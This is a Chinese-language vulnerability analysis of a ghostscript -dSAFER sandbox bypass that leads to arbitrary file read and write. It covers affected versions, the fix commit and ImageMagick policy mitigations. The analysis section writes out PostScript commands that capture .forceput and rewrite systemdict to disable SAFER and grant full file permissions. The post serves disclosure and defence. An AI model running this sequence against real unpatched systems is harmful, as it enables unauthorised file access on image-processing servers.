中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

ghostscript任意文件讀寫漏洞的示例分析

發布時間:2021-12-16 10:25:51 來源:億速云 閱讀:160 作者:小新 欄目:大數據

這篇文章主要為大家展示了“ghostscript任意文件讀寫漏洞的示例分析”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“ghostscript任意文件讀寫漏洞的示例分析”這篇文章吧。

0x00 漏洞背景

10 月 9號,Tavis Ormandy 通過公開郵件列表

(hxxps://bugs.chromium[.]org/p/project-zero/issues/detail?id=1682),

再次指出 ghostscript 的安全沙箱可以被繞過,通過構造惡意的圖片內容,可造成任意文件讀寫。

ghostscript應用廣泛,ImageMagick、python-matplotlib、libmagick 等圖像處理應用均有引用。

在ghostscript中由于以往的安全事件,針對安全問題gs官方采用增加參數-dSAFER來開啟安全沙箱,此次Taviso發現通過特殊的命令組使得.forceput留存于stack,通過再注冊該命令進行forceput命令的利用,引發任意讀寫漏洞。

0x01 漏洞影響

version <= 9.26

(702f6982b63fca353d9106d2dbb6bb21f826c2e6) 

之前的版本

官方已給出緩解措施

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94

但尚無release版本發布

漏洞導致所有引用ghostscript的上游應用受到影響。 常見應用如下:

  • imagemagick

  • libmagick

  • graphicsmagick

  • gimp

  • python-matplotlib

  • texlive-core

  • texmacs

  • latex2html

  • latex2rtf

0x02 漏洞分析

<dict> <key> <value> .forceput -
Equivalent to put, but works even if dict is not writable,
and (if dict is systemdict or the current save level is 0)
even if dict is in global VM and key and/or value is in local VM.
This operator should be used only initialization code,
and only in executeonly procedures: it must not be accessible after initialization.

官方對.forceput的使用介紹,能夠強制更新dict中的值。

這次的漏洞主要原因也就是在觸發錯誤的時候由于構造出.forceput留存在棧中,然后被注冊成命令forceput進而對systemdict進行修改。

最終達到bypass safer以及開啟文件讀寫權限等操作。

核心過程分析首先利用如下命令訪問switch_to_normal_marking_ops

/pdfopdict null def

GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped

觸發異常后的棧情況

ghostscript任意文件讀寫漏洞的示例分析
利用如下命令將.forceput 注冊成forceput

/forceput $error /command get def

然后即可通過如下正常命令對systemdict進行修改

systemdict /SAFER false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
commit a54c9e61e7d02bbc620bcba9b1c208462a876afb (HEAD)
Author: Chris Liddell <chris.liddell@artifex.com>
Date:   Sat Sep 29 15:34:55 2018 +0100
Bug 699816: Improve hiding of security critical custom operators

   Make procedures that use .forceput/.forcedef/.forceundef into operators.

   The result of this is that errors get reported against the "top" operator,
   rather than the "called" operator within the procedure.

   For example:
   /myproc
   {
     myop
   } bind def

   If 'myop' throws an error, the error handler will be passed the 'myop'
   operator. Promoting 'myproc' to a operator means the error handler will be
   passed 'myproc'.

在這次更新中對該問題進行了修復

ghostscript任意文件讀寫漏洞的示例分析

在注冊的時候都以odef注冊成特殊的運算符使其無法被利用

0x03 利用效果

在9.26(702f6982b63fca353d9106d2dbb6bb21f826c2e6)依舊work

ghostscript任意文件讀寫漏洞的示例分析

ghostscript任意文件讀寫漏洞的示例分析

php ImageMagick demo

ghostscript任意文件讀寫漏洞的示例分析

ghostscript任意文件讀寫漏洞的示例分析

0x04 緩解措施

目前官方已給出緩解措施,建議更新ghostscript。

至少需要到

(a54c9e61e7d02bbc620bcba9b1c208462a876afb)

之后的版本

若無法更新可先嘗試禁用使用gs解析ps文件

使用ImageMagick,建議修改policy文件(默認位置:/etc/ImageMagick/policy.xml),在中加入以下<policy>

(即禁用 PS、EPS、PDF、XPS coders):

<policymap>
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
</policymap>

以上是“ghostscript任意文件讀寫漏洞的示例分析”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

新密市| 琼海市| 河北区| 县级市| 镇平县| 毕节市| 江口县| 临桂县| 苏尼特右旗| 望谟县| 金沙县| 乌拉特前旗| 礼泉县| 葫芦岛市| 盐边县| 绥中县| 日土县| 龙游县| 花垣县| 金阳县| 合阳县| 酒泉市| 沈阳市| 将乐县| 黑龙江省| 汉川市| 临邑县| 宜州市| 高州市| 五华县| 集贤县| 通道| 民勤县| 嘉鱼县| 高要市| 苏尼特左旗| 西盟| 会同县| 新巴尔虎左旗| 武清区| 都昌县|